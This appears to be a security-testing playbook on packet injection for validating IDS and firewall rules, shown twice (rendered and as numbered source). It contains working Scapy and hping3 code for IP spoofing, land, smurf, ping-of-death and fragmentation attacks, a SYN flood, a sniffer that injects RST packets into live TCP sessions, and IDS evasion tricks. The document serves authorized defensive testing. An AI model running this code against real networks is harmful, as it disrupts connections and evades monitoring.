Performing Packet Injection Attack
When to Use
- Testing IDS/IPS rules by injecting traffic that should trigger specific detection signatures
- Validating firewall rules by crafting packets with specific flags, source addresses, and payloads
- Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations
- Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)
- Performing TCP reset injection to test connection resilience and session hijacking scenarios
Do not use for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.
Most Often Missed & How to Confirm
- Checksums and stateful drops: Scapy auto-fills checksums only if you leave them unset — manually-built frames with wrong IP/TCP checksums are dropped before the IDS ever sees them, looking like "not detected." Verify with a local
tcpdump that the packet egresses correctly.
- Stateful firewall eats out-of-state packets: lone RST/ACK or XMAS/NULL probes get dropped by a stateful firewall before reaching the IDS sensor. Test from a position inside the inspection path, or confirm where the sensor taps.
- Evasion variants skipped: don't stop at one technique — try fragmentation (
fragment(), tiny-fragment TCP-header split), low-TTL expiry past the sensor (ttl=3), overlapping fragments, and IP-options padding. An IDS may catch the plain scan but miss the fragmented one.
- TTL/MTU evasion needs the right hop count: low-TTL evasion only works if the sensor is fewer hops away than the target. Measure with
traceroute first or the packet either dies early or reaches the target intact.
- How to confirm a hit: grep Suricata
eve.json for the expected signature_id with matching src_ip/flow, not just any alert; for RST injection confirm the target connection actually reset in a tcpdump capture.
- Don't conclude "rule didn't fire" until you've verified the packet reached the sensor (mirror/tap capture), the checksum was valid, and the flow wasn't dropped upstream by a stateful device.
Prerequisites
- Written authorization specifying in-scope targets and approved packet injection techniques
- Scapy, hping3, and Nemesis installed on the testing platform
- Root/sudo privileges for raw socket access and packet crafting
- Wireshark or tcpdump on the target side to verify packet delivery
- Understanding of TCP/IP protocol internals, header fields, and flag combinations
Workflow
Step 1: Craft and Send Basic Test Packets with Scapy
#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""
from scapy.all import *
# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] Port 80 is OPEN (SYN-ACK received)")
elif response[TCP].flags == "RA":
print(f"[*] Port 80 is CLOSED (RST-ACK received)")
# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")
# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")
# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")
# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
print(f"[*] DNS response received from {response[IP].src}")
Step 2: IP Spoofing and Anti-Spoofing Validation
#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""
from scapy.all import *
# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")
# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")
# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")
# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")
Step 3: TCP Session Manipulation
# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets
# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # Max window
# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability
#!/usr/bin/env python3
"""TCP RST injection to test session resilience."""
from scapy.all import *
# Sniff for an active TCP connection and inject RST
def rst_inject(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
rst = IP(
src=pkt[IP].dst,
dst=pkt[IP].src
) / TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt[TCP].ack,
flags="R"
)
send(rst, verbose=0)
print(f"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
# Sniff for 10 packets and attempt RST injection
print("[*] Listening for TCP ACK packets to inject RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
Step 4: Protocol Anomaly Testing
#!/usr/bin/env python3
"""Protocol anomaly packets for IDS/firewall testing."""
from scapy.all import *
target = "10.10.20.10"
# Ping of Death (oversized ICMP - should be blocked)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] Ping of Death fragments sent")
# Tiny fragment attack (TCP header split across fragments)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] Tiny fragment attack packets sent")
# Invalid TCP flag combinations
invalid_flags = [
("SYN+FIN", "SF"),
("SYN+RST", "SR"),
("FIN only (no session)", "F"),
("All flags", "FSRPAUEC"),
]
for name, flags in invalid_flags:
pkt = IP(dst=target) / TCP(dport=80, flags=flags)
send(pkt, verbose=0)
print(f"[*] Sent packet with invalid flags: {name}")
# TTL-based evasion (packets that expire before reaching IDS)
# Assumes IDS is 2 hops away, target is 5 hops
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] Low-TTL evasion packet sent (TTL=3)")
# IP options padding
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] Packet with IP Record Route option sent")
Step 5: Verify IDS Detection
# Check Snort/Suricata for alerts triggered by injected packets
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
python3 -m json.tool | head -50
# Expected IDS alerts:
# - XMAS scan detected (SID: 2100330)
# - NULL scan detected (SID: 2100331)
# - Land attack detected
# - Smurf attack detected
# - Fragmentation anomaly
# - Invalid TCP flags
# Verify firewall dropped spoofed packets
sudo iptables -L -n -v | grep -i drop
# Check for fragmentation reassembly errors
dmesg | grep -i "fragment\|frag"
Step 6: Document Results
# Generate test results summary
cat > packet_injection_report.txt << 'EOF'
Packet Injection Test Results
=============================
Date: $(date)
Target: 10.10.20.10
Tester: Security Assessment Team
Test 1: TCP XMAS Scan
IDS Detection: YES (Suricata SID 2100330)
Firewall Action: Dropped
Test 2: IP Spoofing (192.0.2.100)
uRPF Block: YES (packet dropped at edge router)
IDS Detection: YES (source not in HOME_NET)
Test 3: Fragmentation Overlap
IDS Detection: YES (stream reassembly anomaly)
Target Response: Fragments dropped by OS
Test 4: Invalid TCP Flags
IDS Detection: YES (SYN+FIN, SYN+RST flagged)
Firewall Action: Dropped
EOF
Key Concepts
| Term |
Definition |
| Packet Injection |
Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls |
| IP Spoofing |
Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host |
| TCP RST Injection |
Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses |
| Fragmentation Attack |
Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments |
| uRPF (Unicast Reverse Path Forwarding) |
Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface |
| BCP38 (Network Ingress Filtering) |
Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network |
Tools & Systems
- Scapy: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers
- hping3: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate
- Nemesis: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols
- tcpreplay: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns
- Nping: Nmap's packet generation tool for crafting probes with arbitrary TCP/UDP/ICMP headers
Common Scenarios
Scenario: Validating IDS Rules After Deployment
Context: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.
Approach:
- Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules
- Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules
- Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules
- Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly
- Send TCP RST injection packets during an active HTTP session to test session disruption detection
- Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata
- Document which rules fired, which did not, and recommend rule tuning for any gaps
Pitfalls:
- Sending injection packets too fast and overwhelming the test network or IDS sensor
- Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS
- Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection
- Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences
Output Format
## Packet Injection Test Report
**Target**: 10.10.20.10 (test-server-01)
**IDS Sensor**: suricata-staging-01
**Test Date**: 2024-03-15
### Test Matrix
| Test | Packet Type | Expected Detection | Actual Result |
|------|-------------|-------------------|---------------|
| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |
| 2 | TCP NULL Scan | SID 2100331 | DETECTED |
| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |
| 4 | IP Spoofed Source | SID 2003000 | DETECTED |
| 5 | Land Attack | SID 2100333 | NOT DETECTED |
| 6 | Fragment Overlap | SID 2200001 | DETECTED |
| 7 | Ping of Death | SID 2100334 | DETECTED |
| 8 | TCP RST Injection | Custom SID | NOT DETECTED |
### Detection Rate: 6/8 (75%)
### Gaps Identified
1. Land attack (src==dst) not detected -- add rule SID 2100333
2. TCP RST injection not detected -- create custom rule for out-of-window RST
1---2name: performing-packet-injection-attack3description: Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.4license: Apache-2.05---6# Performing Packet Injection Attack
7
8## When to Use
9
10- Testing IDS/IPS rules by injecting traffic that should trigger specific detection signatures
11- Validating firewall rules by crafting packets with specific flags, source addresses, and payloads
12- Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations
13- Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)
14- Performing TCP reset injection to test connection resilience and session hijacking scenarios
15
16**Do not use** for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.
17
18## Most Often Missed & How to Confirm
19
20- **Checksums and stateful drops:** Scapy auto-fills checksums only if you leave them unset — manually-built frames with wrong IP/TCP checksums are dropped before the IDS ever sees them, looking like "not detected." Verify with a local `tcpdump` that the packet egresses correctly.
21- **Stateful firewall eats out-of-state packets:** lone RST/ACK or XMAS/NULL probes get dropped by a stateful firewall before reaching the IDS sensor. Test from a position inside the inspection path, or confirm where the sensor taps.
22- **Evasion variants skipped:** don't stop at one technique — try fragmentation (`fragment()`, tiny-fragment TCP-header split), low-TTL expiry past the sensor (`ttl=3`), overlapping fragments, and IP-options padding. An IDS may catch the plain scan but miss the fragmented one.
23- **TTL/MTU evasion needs the right hop count:** low-TTL evasion only works if the sensor is fewer hops away than the target. Measure with `traceroute` first or the packet either dies early or reaches the target intact.
24- **How to confirm a hit:** grep Suricata `eve.json` for the expected `signature_id` with matching `src_ip`/`flow`, not just any alert; for RST injection confirm the target connection actually reset in a `tcpdump` capture.
25- **Don't conclude "rule didn't fire"** until you've verified the packet reached the sensor (mirror/tap capture), the checksum was valid, and the flow wasn't dropped upstream by a stateful device.
26
27## Prerequisites
28
29- Written authorization specifying in-scope targets and approved packet injection techniques
30- Scapy, hping3, and Nemesis installed on the testing platform
31- Root/sudo privileges for raw socket access and packet crafting
32- Wireshark or tcpdump on the target side to verify packet delivery
33- Understanding of TCP/IP protocol internals, header fields, and flag combinations
34
35## Workflow
36
37### Step 1: Craft and Send Basic Test Packets with Scapy
38
39```python
40#!/usr/bin/env python3
41"""Basic packet injection examples using Scapy for authorized testing."""
42
43from scapy.all import *
44
45# TCP SYN packet (port scan simulation)
46syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
47response = sr1(syn, timeout=2, verbose=0)
48if response and response.haslayer(TCP):
49 if response[TCP].flags == "SA":
50 print(f"[*] Port 80 is OPEN (SYN-ACK received)")
51 elif response[TCP].flags == "RA":
52 print(f"[*] Port 80 is CLOSED (RST-ACK received)")
53
54# TCP XMAS scan packet (all flags set)
55xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
56send(xmas, verbose=0)
57print("[*] XMAS packet sent (should trigger IDS)")
58
59# NULL scan packet (no flags)
60null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
61send(null, verbose=0)
62print("[*] NULL packet sent")
63
64# Crafted ICMP packet with custom payload
65icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
66send(icmp_custom, verbose=0)
67print("[*] Custom ICMP packet sent")
68
69# UDP packet to test firewall rules
70udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
71response = sr1(udp_test, timeout=2, verbose=0)
72if response:
73 print(f"[*] DNS response received from {response[IP].src}")
74```
75
76### Step 2: IP Spoofing and Anti-Spoofing Validation
77
78```python
79#!/usr/bin/env python3
80"""Test anti-spoofing controls with spoofed source IP packets."""
81
82from scapy.all import *
83
84# Spoofed source IP (should be blocked by BCP38/uRPF)
85spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
86send(spoofed_syn, verbose=0)
87print("[*] Sent SYN with spoofed source 192.0.2.100")
88
89# Land attack test (source = destination)
90land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
91send(land, verbose=0)
92print("[*] Land attack packet sent (src==dst)")
93
94# Smurf attack test (ICMP to broadcast with spoofed source)
95smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
96send(smurf, verbose=0)
97print("[*] Smurf test packet sent (ICMP to broadcast)")
98
99# IP fragment overlap test
100frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
101frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # Overlapping fragment
102send(frag1, verbose=0)
103send(frag2, verbose=0)
104print("[*] Overlapping IP fragments sent")
105```
106
107### Step 3: TCP Session Manipulation
108
109```bash
110# TCP RST injection to test connection resilience
111# Using hping3 to send RST packets
112sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
113
114# SYN flood test (limited volume for testing, not DoS)
115sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
116# Note: --flood sends at maximum rate; -c 100 limits to 100 packets
117
118# Test TCP window manipulation
119sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # Zero window
120sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # Max window
121
122# Idle scan probe (to test if a host can be used as zombie)
123sudo hping3 -SA -p 80 -c 3 10.10.20.10
124# Check IP ID values in response for predictability
125```
126
127```python
128#!/usr/bin/env python3
129"""TCP RST injection to test session resilience."""
130
131from scapy.all import *
132
133# Sniff for an active TCP connection and inject RST
134def rst_inject(pkt):
135 if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
136 rst = IP(
137 src=pkt[IP].dst,
138 dst=pkt[IP].src
139 ) / TCP(
140 sport=pkt[TCP].dport,
141 dport=pkt[TCP].sport,
142 seq=pkt[TCP].ack,
143 flags="R"
144 )
145 send(rst, verbose=0)
146 print(f"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
147
148# Sniff for 10 packets and attempt RST injection
149print("[*] Listening for TCP ACK packets to inject RST...")
150sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
151```
152
153### Step 4: Protocol Anomaly Testing
154
155```python
156#!/usr/bin/env python3
157"""Protocol anomaly packets for IDS/firewall testing."""
158
159from scapy.all import *
160
161target = "10.10.20.10"
162
163# Ping of Death (oversized ICMP - should be blocked)
164pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
165send(fragment(pod), verbose=0)
166print("[*] Ping of Death fragments sent")
167
168# Tiny fragment attack (TCP header split across fragments)
169tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
170tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
171send(tiny_frag, verbose=0)
172send(tiny_frag2, verbose=0)
173print("[*] Tiny fragment attack packets sent")
174
175# Invalid TCP flag combinations
176invalid_flags = [
177 ("SYN+FIN", "SF"),
178 ("SYN+RST", "SR"),
179 ("FIN only (no session)", "F"),
180 ("All flags", "FSRPAUEC"),
181]
182
183for name, flags in invalid_flags:
184 pkt = IP(dst=target) / TCP(dport=80, flags=flags)
185 send(pkt, verbose=0)
186 print(f"[*] Sent packet with invalid flags: {name}")
187
188# TTL-based evasion (packets that expire before reaching IDS)
189# Assumes IDS is 2 hops away, target is 5 hops
190ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
191send(ttl_evade, verbose=0)
192print("[*] Low-TTL evasion packet sent (TTL=3)")
193
194# IP options padding
195ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
196send(ip_opts, verbose=0)
197print("[*] Packet with IP Record Route option sent")
198```
199
200### Step 5: Verify IDS Detection
201
202```bash
203# Check Snort/Suricata for alerts triggered by injected packets
204grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
205 python3 -m json.tool | head -50
206
207# Expected IDS alerts:
208# - XMAS scan detected (SID: 2100330)
209# - NULL scan detected (SID: 2100331)
210# - Land attack detected
211# - Smurf attack detected
212# - Fragmentation anomaly
213# - Invalid TCP flags
214
215# Verify firewall dropped spoofed packets
216sudo iptables -L -n -v | grep -i drop
217
218# Check for fragmentation reassembly errors
219dmesg | grep -i "fragment\|frag"
220```
221
222### Step 6: Document Results
223
224```bash
225# Generate test results summary
226cat > packet_injection_report.txt << 'EOF'
227Packet Injection Test Results
228=============================
229Date: $(date)
230Target: 10.10.20.10
231Tester: Security Assessment Team
232
233Test 1: TCP XMAS Scan
234 IDS Detection: YES (Suricata SID 2100330)
235 Firewall Action: Dropped
236
237Test 2: IP Spoofing (192.0.2.100)
238 uRPF Block: YES (packet dropped at edge router)
239 IDS Detection: YES (source not in HOME_NET)
240
241Test 3: Fragmentation Overlap
242 IDS Detection: YES (stream reassembly anomaly)
243 Target Response: Fragments dropped by OS
244
245Test 4: Invalid TCP Flags
246 IDS Detection: YES (SYN+FIN, SYN+RST flagged)
247 Firewall Action: Dropped
248EOF
249```
250
251## Key Concepts
252
253| Term | Definition |
254|------|------------|
255| **Packet Injection** | Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls |
256| **IP Spoofing** | Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host |
257| **TCP RST Injection** | Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses |
258| **Fragmentation Attack** | Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments |
259| **uRPF (Unicast Reverse Path Forwarding)** | Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface |
260| **BCP38 (Network Ingress Filtering)** | Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network |
261
262## Tools & Systems
263
264- **Scapy**: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers
265- **hping3**: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate
266- **Nemesis**: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols
267- **tcpreplay**: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns
268- **Nping**: Nmap's packet generation tool for crafting probes with arbitrary TCP/UDP/ICMP headers
269
270## Common Scenarios
271
272### Scenario: Validating IDS Rules After Deployment
273
274**Context**: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.
275
276**Approach**:
2771. Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules
2782. Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules
2793. Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules
2804. Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly
2815. Send TCP RST injection packets during an active HTTP session to test session disruption detection
2826. Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata
2837. Document which rules fired, which did not, and recommend rule tuning for any gaps
284
285**Pitfalls**:
286- Sending injection packets too fast and overwhelming the test network or IDS sensor
287- Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS
288- Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection
289- Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences
290
291## Output Format
292
293```
294## Packet Injection Test Report
295
296**Target**: 10.10.20.10 (test-server-01)
297**IDS Sensor**: suricata-staging-01
298**Test Date**: 2024-03-15
299
300### Test Matrix
301
302| Test | Packet Type | Expected Detection | Actual Result |
303|------|-------------|-------------------|---------------|
304| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |
305| 2 | TCP NULL Scan | SID 2100331 | DETECTED |
306| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |
307| 4 | IP Spoofed Source | SID 2003000 | DETECTED |
308| 5 | Land Attack | SID 2100333 | NOT DETECTED |
309| 6 | Fragment Overlap | SID 2200001 | DETECTED |
310| 7 | Ping of Death | SID 2100334 | DETECTED |
311| 8 | TCP RST Injection | Custom SID | NOT DETECTED |
312
313### Detection Rate: 6/8 (75%)
314
315### Gaps Identified
3161. Land attack (src==dst) not detected -- add rule SID 2100333
3172. TCP RST injection not detected -- create custom rule for out-of-window RST
318```